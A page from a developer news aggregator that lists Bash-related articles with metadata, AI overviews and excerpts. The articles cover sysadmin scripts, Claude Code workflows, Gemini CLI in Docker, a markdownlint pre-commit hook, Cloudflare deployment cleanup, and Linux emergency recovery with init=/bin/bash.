Topics: [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [backups](<https://devfeed.tech/topics/backups.md>), [monitor](<https://devfeed.tech/topics/monitor.md>), [rsync](<https://devfeed.tech/topics/rsync.md>)

Tags: [backups](<https://devfeed.tech/tags/backups.md>), [bash](<https://devfeed.tech/tags/bash.md>), [logs](<https://devfeed.tech/tags/logs.md>), [rsync](<https://devfeed.tech/tags/rsync.md>), [script](<https://devfeed.tech/tags/script.md>), [scripts](<https://devfeed.tech/tags/scripts.md>), [shell](<https://devfeed.tech/tags/shell.md>), [sysadmin](<https://devfeed.tech/tags/sysadmin.md>), [sysadmins](<https://devfeed.tech/tags/sysadmins.md>)

### AI overview

A Spanish-language tutorial presents ten practical Bash scripts for system administrators, including disk monitoring, rotating backups, log cleanup, and other routine tasks. It notes that Bash scripts suit focused tasks on individual machines but are not a replacement for configuration-management tools when managing many servers.

### Source excerpt

Colección de scripts Bash prácticos para monitorización, backups, limpieza de logs y tareas comunes de administración de sistemas.

## Claude Code's Context Access and Terminal Workflow

DevFeed: [Claude Code's Context Access and Terminal Workflow](<https://devfeed.tech/articles/some-thoughts-about-claude-code-20118.md>)

Original publisher: [Read original article](<https://hashrocket.com/blog/posts/some-thoughts-about-claude-code>)

Author: Jack Rosa

Published: 2025-11-18T14:00:00Z

Content type: opinion

Language: en

Sources: [Hashrocket](<https://devfeed.tech/sources/hashrocket.md>)

Topics: [Claude Code](<https://devfeed.tech/topics/claude-code.md>), [Claude](<https://devfeed.tech/topics/claude.md>), [Terminal](<https://devfeed.tech/topics/terminal.md>), [Bash](<https://devfeed.tech/topics/bash.md>)

Tags: [ai](<https://devfeed.tech/tags/ai.md>), [bash](<https://devfeed.tech/tags/bash.md>), [claude](<https://devfeed.tech/tags/claude.md>), [claude-code](<https://devfeed.tech/tags/claude-code.md>), [context](<https://devfeed.tech/tags/context.md>), [hallucinations](<https://devfeed.tech/tags/hallucinations.md>), [permission](<https://devfeed.tech/tags/permission.md>), [rails](<https://devfeed.tech/tags/rails.md>), [ruby](<https://devfeed.tech/tags/ruby.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [workflow](<https://devfeed.tech/tags/workflow.md>)

### AI overview

An opinion article assessing Claude Code's codebase context access, permission workflow, data-handling considerations, and terminal-based verification capabilities. It advises developers to review proposed actions critically because the tool can hallucinate.

### Source excerpt

Claude code is a powerful AI toolset that runs right in your terminal. While providing a lot of impressive utility, it also suffers from the issues that arise from similar AI toolings with the addition of an expensive pricing model. Context is Important To me, the main selling point for Claude Code is its ability to read through your entire codebase; a big shortcoming of many AI workflows is the model only partially understanding an issue due to it not having enough of the project's context and convention to be effective. Claude Code has the ability to access all of the files in the directory where you initiated the session, and can even ask for permission to search through extraneous directories. While potentially helpful, this is also a little sketchy when considering that everything Claude is processing is getting sent over the wire to Anthropic's servers; according to their privacy policy, the data sent over for processing will not be used for LLM training unless the user specifically opts in or the content has been flagged for a Trust & Safety Review. It's also important to be aware that Claude's data retention policy has changed in recent months and will likely continue to change. Step by Step When you start a Claude Code session and give it a task to complete, it will usually try to break down the task into steps to complete. Upon starting a 'step', Claude will show you what it wants to do, and ask you for permission to do it. In my experience, I always had three options when presented with Claude's suggestion: accept the suggested action, always accept the suggested action, or do not accept and tell Claude to do something different. I would urge any developer to stick to the first and last option. Take the time to look at Claude's suggestion critically and decide if it seems like the right way to go. Claude is usually logical, but also susceptable to hallucinations. A big advantage of Claude Code living in the terminal, is that it has the ability to run bash

## Running Gemini CLI in a Docker container

DevFeed: [Running Gemini CLI in a Docker container](<https://devfeed.tech/articles/running-gemini-cli-in-a-docker-container-27729.md>)

Original publisher: [Read original article](<https://gagor.pro/2025/10/running-gemini-cli-in-a-docker-container/>)

Author: Tom

Published: 2025-10-31T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Docker](<https://devfeed.tech/topics/docker.md>), [Docker Container](<https://devfeed.tech/topics/docker-container.md>), [Node.js](<https://devfeed.tech/topics/node-js.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Artificial Intelligence](<https://devfeed.tech/topics/ai.md>), [GitHub](<https://devfeed.tech/topics/github.md>)

Tags: [ai](<https://devfeed.tech/tags/ai.md>), [bash](<https://devfeed.tech/tags/bash.md>), [cli](<https://devfeed.tech/tags/cli.md>), [developer-tools](<https://devfeed.tech/tags/developer-tools.md>), [docker](<https://devfeed.tech/tags/docker.md>), [docker-container](<https://devfeed.tech/tags/docker-container.md>), [gemini-cli](<https://devfeed.tech/tags/gemini-cli.md>), [github](<https://devfeed.tech/tags/github.md>), [guide](<https://devfeed.tech/tags/guide.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [node-js](<https://devfeed.tech/tags/node-js.md>), [npm](<https://devfeed.tech/tags/npm.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A practical guide to running Google's Gemini CLI in a Docker container instead of installing Node.js and its dependencies directly. It explains the author's custom Docker image, weekly updates, shell integration, configuration persistence, permissions, and interactive usage.

### Source excerpt

Learn how to run Google's Gemini CLI in a Docker container to avoid installing Node.js and its dependencies directly on your system. This guide provides a simple setup, a recommended shell function for seamless integration, and usage examples.

## Using Git Pre-Commit Hooks

DevFeed: [Using Git Pre-Commit Hooks](<https://devfeed.tech/articles/using-git-pre-commit-hooks-10917.md>)

Original publisher: [Read original article](<https://blog.scottlowe.org/2025/10/20/using-git-pre-commit-hooks/>)

Author: Scott Lowe

Published: 2025-10-20T15:00:00Z

Content type: tutorial

Language: en

Sources: [Scott's Weblog](<https://devfeed.tech/sources/scott-s-weblog.md>)

Topics: [Git](<https://devfeed.tech/topics/git.md>), [Markdown](<https://devfeed.tech/topics/markdown.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Script](<https://devfeed.tech/topics/script.md>)

Tags: [aws](<https://devfeed.tech/tags/aws.md>), [bash](<https://devfeed.tech/tags/bash.md>), [cilium](<https://devfeed.tech/tags/cilium.md>), [cli](<https://devfeed.tech/tags/cli.md>), [cloud](<https://devfeed.tech/tags/cloud.md>), [cni](<https://devfeed.tech/tags/cni.md>), [code](<https://devfeed.tech/tags/code.md>), [containers](<https://devfeed.tech/tags/containers.md>), [cri-o](<https://devfeed.tech/tags/cri-o.md>), [devops](<https://devfeed.tech/tags/devops.md>), [docker](<https://devfeed.tech/tags/docker.md>), [git](<https://devfeed.tech/tags/git.md>), [git-commit](<https://devfeed.tech/tags/git-commit.md>), [git-hook](<https://devfeed.tech/tags/git-hook.md>), [go](<https://devfeed.tech/tags/go.md>), [hooks](<https://devfeed.tech/tags/hooks.md>), [iac](<https://devfeed.tech/tags/iac.md>), [k8s](<https://devfeed.tech/tags/k8s.md>), [kubernetes](<https://devfeed.tech/tags/kubernetes.md>), [lint](<https://devfeed.tech/tags/lint.md>), [linux](<https://devfeed.tech/tags/linux.md>), [markdown](<https://devfeed.tech/tags/markdown.md>), [networking](<https://devfeed.tech/tags/networking.md>), [oci](<https://devfeed.tech/tags/oci.md>), [script](<https://devfeed.tech/tags/script.md>), [security](<https://devfeed.tech/tags/security.md>), [tests](<https://devfeed.tech/tags/tests.md>)

### AI overview

This tutorial explains Git pre-commit hooks and demonstrates using one to run Markdownlint on staged Markdown files before a commit. It notes that a non-zero hook exit status aborts the commit and presents a Bash implementation based on the author's site.

### Source excerpt

A while ago I wrote an article about linting Markdown files with markdownlint. In that article, I presented the use case of linting the Markdown source files for this site. While manually running linting checks is fine--there are times and situations when this is appropriate and necessary--this is the sort of task that is ideally suited for a Git pre-commit hook. In this post, I'll discuss Git pre-commit hooks in the context of using them to run linting checks. Before moving on, a disclaimer: I am not an expert on Git hooks. This post shares my limited experience and provides an example based on what I use for this site. I have no doubt that my current implementation will improve over time as my knowledge and experience grow. What is a Git Hook? As this page explains, a hook is a program "you can place in a hooks directory to trigger actions at certain points in git's execution." Generally, a hook is a script of some sort. Git supports different hooks that get invoked in response to specific actions in Git; in this particular instance, I'm focusing on the pre-commit hook. This hook gets invoked by git-commit (i.e., the user running a git commit command) and allows users to perform a series of checks or tests before actually making a commit. If the pre-commit script exits with a non-zero status, then Git aborts the commit. Using a Pre-Commit Hook to Lint Markdown For my use case, I wanted to run Markdownlint to lint the Markdown files (as described in the previous article on linting Markdown) before the commit. To do that, I came up with the following script: #!/usr/bin/env bash MDLINT="/usr/local/bin/markdownlint" for file in $(git diff --cached --name-only --diff-filter=ACM | grep "\.md"); do if ! $MDLINT "$file"; then echo "Lint check failed on file '$file'." echo "Run markdownlint to identify the errors and try again." exit 1 fi done To make this script active as a pre-commit hook, you must name it pre-commit, you must place it into Git's hook directory (which defa

## Purge old Cloudflare Pages deployments

DevFeed: [Purge old Cloudflare Pages deployments](<https://devfeed.tech/articles/purge-old-cloudflare-pages-deployments-27724.md>)

Original publisher: [Read original article](<https://gagor.pro/2025/08/purge-old-cloudflare-pages-deployments/>)

Author: Tom

Published: 2025-08-26T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Cloudflare](<https://devfeed.tech/topics/cloudflare.md>), [Deployment](<https://devfeed.tech/topics/deployment.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [API](<https://devfeed.tech/topics/api.md>), [Script](<https://devfeed.tech/topics/script.md>), [GitHub Actions](<https://devfeed.tech/topics/github-actions.md>)

Tags: [api](<https://devfeed.tech/tags/api.md>), [automated](<https://devfeed.tech/tags/automated.md>), [bash](<https://devfeed.tech/tags/bash.md>), [bash-automation](<https://devfeed.tech/tags/bash-automation.md>), [cleanup](<https://devfeed.tech/tags/cleanup.md>), [cloudflare](<https://devfeed.tech/tags/cloudflare.md>), [cloudflare-api-script](<https://devfeed.tech/tags/cloudflare-api-script.md>), [cloudflare-pages](<https://devfeed.tech/tags/cloudflare-pages.md>), [delete-old-deployments](<https://devfeed.tech/tags/delete-old-deployments.md>), [deployment](<https://devfeed.tech/tags/deployment.md>), [devops](<https://devfeed.tech/tags/devops.md>), [github-actions](<https://devfeed.tech/tags/github-actions.md>), [github-actions-cloudflare-cleanup](<https://devfeed.tech/tags/github-actions-cloudflare-cleanup.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [hugo](<https://devfeed.tech/tags/hugo.md>), [purge-deployments-cloudflare](<https://devfeed.tech/tags/purge-deployments-cloudflare.md>), [secrets](<https://devfeed.tech/tags/secrets.md>), [token](<https://devfeed.tech/tags/token.md>)

### AI overview

A Bash script uses the Cloudflare API to paginate through Cloudflare Pages deployments and delete deployments older than 30 days while retaining a configurable number of deployments. The article also outlines the API token, account ID, and GitHub Actions secret setup needed to run the cleanup.

### Source excerpt

Learn how to automatically delete old Cloudflare Pages deployments using a Bash script and the Cloudflare API. Keep your account clean and reduce clutter by removing outdated deployments.

## The 90s UNIX Utility That Fell Out of Favour

DevFeed: [The 90s UNIX Utility That Fell Out of Favour](<https://devfeed.tech/articles/the-90s-unix-utility-that-fell-out-of-favour-26647.md>)

Original publisher: [Read original article](<https://blog.alexellis.io/the-90s-unix-command-fell-out-of-favour/>)

Author: Alex Ellis

Published: 2025-08-15T08:09:48Z

Content type: opinion

Language: en

Sources: [Alex Ellis' Blog](<https://devfeed.tech/sources/alex-ellis-blog.md>)

Topics: [Unix](<https://devfeed.tech/topics/unix.md>), [Linux](<https://devfeed.tech/topics/linux.md>), [macOS](<https://devfeed.tech/topics/macos.md>), [Bash](<https://devfeed.tech/topics/bash.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [network](<https://devfeed.tech/tags/network.md>), [remote-access](<https://devfeed.tech/tags/remote-access.md>), [terminal](<https://devfeed.tech/tags/terminal.md>), [unix](<https://devfeed.tech/tags/unix.md>)

### AI overview

An essay revisits the UNIX finger utility, explaining its origins in a high-trust environment where it exposed user information such as login status, idle time, phone numbers, and email activity. It also reflects on the author's early experiences with Linux, MUD servers, telnet, and bash.

### Source excerpt

I reminisce of the days of i386, Slackware Linux, and forgotten plaintext UNIX utilities that are still on modern Macs today.

## How to Identify the Package Manager of a Linux System

DevFeed: [How to Identify the Package Manager of a Linux System](<https://devfeed.tech/articles/how-to-identify-the-package-manager-of-a-linux-system-4521.md>)

Original publisher: [Read original article](<https://feeds.feedblitz.com/~/921621143/0/baeldung/linux~How-to-Identify-the-Package-Manager-of-a-Linux-System>)

Author: Umara Mushtaq

Published: 2025-07-14T02:13:11Z

Content type: tutorial

Language: en

Sources: [Baeldung - Linux](<https://devfeed.tech/sources/baeldung-linux.md>)

Topics: [Package Management](<https://devfeed.tech/topics/package-management.md>), [Linux](<https://devfeed.tech/topics/linux.md>), [apt](<https://devfeed.tech/topics/apt.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Scripting, bash](<https://devfeed.tech/topics/scripting-bash.md>), [Ubuntu](<https://devfeed.tech/topics/ubuntu.md>), [Automation](<https://devfeed.tech/topics/automation.md>), [Debian](<https://devfeed.tech/topics/debian.md>), [Arch Linux](<https://devfeed.tech/topics/archlinux.md>), [dnf](<https://devfeed.tech/topics/dnf.md>), [Fedora](<https://devfeed.tech/topics/fedora.md>), [pacman](<https://devfeed.tech/topics/pacman.md>)

Tags: [apt](<https://devfeed.tech/tags/apt.md>), [automation](<https://devfeed.tech/tags/automation.md>), [bash](<https://devfeed.tech/tags/bash.md>), [debian](<https://devfeed.tech/tags/debian.md>), [dependency](<https://devfeed.tech/tags/dependency.md>), [dnf](<https://devfeed.tech/tags/dnf.md>), [efficiency](<https://devfeed.tech/tags/efficiency.md>), [errors](<https://devfeed.tech/tags/errors.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [installation](<https://devfeed.tech/tags/installation.md>), [linux](<https://devfeed.tech/tags/linux.md>), [linux-how-to](<https://devfeed.tech/tags/linux-how-to.md>), [package-management](<https://devfeed.tech/tags/package-management.md>), [package-management-scripting-apt-dnf-pacman-snap-yum](<https://devfeed.tech/tags/package-management-scripting-apt-dnf-pacman-snap-yum.md>), [pacman](<https://devfeed.tech/tags/pacman.md>), [scripting](<https://devfeed.tech/tags/scripting.md>), [snap](<https://devfeed.tech/tags/snap.md>), [ubuntu](<https://devfeed.tech/tags/ubuntu.md>)

### AI overview

This tutorial explains how to identify the package manager used by a Linux system. It covers inferring the manager from the distribution, checking distribution metadata with /etc/os-release or lsb_release, verifying an installed manager with which, and using Bash scripts to detect package managers in automated or multi-distribution environments.

### Source excerpt

Learn different ways to guess or identify the default package manager of a Linux system. The post How to Identify the Package Manager of a Linux System first appeared on Baeldung on Linux. Related Stories How to Check for Available Package Updates in Linux How to Properly Install Valgrind? Background Jobs in a Loop in Bash

## How we're shipping faster with Claude Code and Git Worktrees

DevFeed: [How we're shipping faster with Claude Code and Git Worktrees](<https://devfeed.tech/articles/how-we-re-shipping-faster-with-claude-code-and-git-worktrees-11991.md>)

Original publisher: [Read original article](<https://incident.io/blog/shipping-faster-with-claude-code-and-git-worktrees>)

Author: Rory Bain

Published: 2025-06-27T13:42:11Z

Content type: opinion

Language: en

Sources: [The incident.io Blog](<https://devfeed.tech/sources/the-incident-io-blog.md>)

Topics: [Claude Code](<https://devfeed.tech/topics/claude-code.md>), [AI-assisted coding](<https://devfeed.tech/topics/ai-assisted-coding.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Git](<https://devfeed.tech/topics/git.md>), [JavaScript](<https://devfeed.tech/topics/javascript.md>)

Tags: [ai-assisted-coding](<https://devfeed.tech/tags/ai-assisted-coding.md>), [bash](<https://devfeed.tech/tags/bash.md>), [claude-code](<https://devfeed.tech/tags/claude-code.md>), [coding](<https://devfeed.tech/tags/coding.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [development](<https://devfeed.tech/tags/development.md>), [git](<https://devfeed.tech/tags/git.md>), [incident](<https://devfeed.tech/tags/incident.md>), [incident-channel](<https://devfeed.tech/tags/incident-channel.md>), [incident-management](<https://devfeed.tech/tags/incident-management.md>), [incident-response](<https://devfeed.tech/tags/incident-response.md>), [javascript](<https://devfeed.tech/tags/javascript.md>), [outage](<https://devfeed.tech/tags/outage.md>), [post-mortem](<https://devfeed.tech/tags/post-mortem.md>), [slack-incident](<https://devfeed.tech/tags/slack-incident.md>)

### AI overview

This article describes how a development team uses Claude Code and Git Worktrees to run multiple AI-assisted coding sessions in parallel. It explains Claude Code's terminal-based workflow, including reading codebases, making changes, running Bash commands, and committing code, and gives examples involving UI work, tooling, tests, and product specifications.

### Source excerpt

Learn how we accelerated development with Claude Code and Git Worktrees - a powerful combination that enables parallel AI-assisted coding, streamlined workflows, and faster feature delivery.

## Linux Emergency Recovery With init=/bin/bash

DevFeed: [Linux Emergency Recovery With init=/bin/bash](<https://devfeed.tech/articles/linux-emergency-recovery-with-init-bin-bash-4518.md>)

Original publisher: [Read original article](<https://feeds.feedblitz.com/~/920030138/0/baeldung/linux~Linux-Emergency-Recovery-With-initbinbash>)

Author: Francesco Galgani

Published: 2025-06-10T19:40:59Z

Content type: tutorial

Language: en

Sources: [Baeldung - Linux](<https://devfeed.tech/sources/baeldung-linux.md>)

Topics: [Linux](<https://devfeed.tech/topics/linux.md>), [Boot Process](<https://devfeed.tech/topics/boot-process.md>), [systemd](<https://devfeed.tech/topics/systemd.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Kernel](<https://devfeed.tech/topics/kernel.md>), [passwords](<https://devfeed.tech/topics/passwords.md>), [Filesystems](<https://devfeed.tech/topics/filesystems.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [boot](<https://devfeed.tech/tags/boot.md>), [boot-process](<https://devfeed.tech/tags/boot-process.md>), [boot-process-passwd-systemd](<https://devfeed.tech/tags/boot-process-passwd-systemd.md>), [how-to](<https://devfeed.tech/tags/how-to.md>), [kernel](<https://devfeed.tech/tags/kernel.md>), [linux](<https://devfeed.tech/tags/linux.md>), [passwd](<https://devfeed.tech/tags/passwd.md>), [password](<https://devfeed.tech/tags/password.md>), [recovery](<https://devfeed.tech/tags/recovery.md>), [root](<https://devfeed.tech/tags/root.md>), [systemd](<https://devfeed.tech/tags/systemd.md>), [tutorial](<https://devfeed.tech/tags/tutorial.md>)

### AI overview

This tutorial explains how to recover an unbootable Linux system by adding init=/bin/bash to the kernel parameters. It covers entering a root Bash shell as PID 1, working with encrypted LVM and LUKS installations, resetting passwords, remounting the filesystem as read/write, and forcing a reboot when normal shutdown commands are unavailable. The method is presented as an emergency measure because an improper forced reboot can cause data loss or corruption.

### Source excerpt

Learn to use the init=/bin/bash kernel parameter to access a minimalist root shell on systems that wouldn't otherwise boot. The post Linux Emergency Recovery With init=/bin/bash first appeared on Baeldung on Linux. Click the icon below to watch. Related Stories Linux Emergency Recovery With init=/bin/bash - Enclosure How to Restore Systemd After Deleting It Accidentally How to Dual Boot Windows and Linux

[Next page](<https://devfeed.tech/topics/bash.md?cursor=WyIyMDI1LTA2LTEwVDE5OjQwOjU5KzAwOjAwIiwgIjg1YmNlY2M0LWIyZjEtNDRiMC1iNzk3LWYzM2MwNjQzMjhhMCJd>)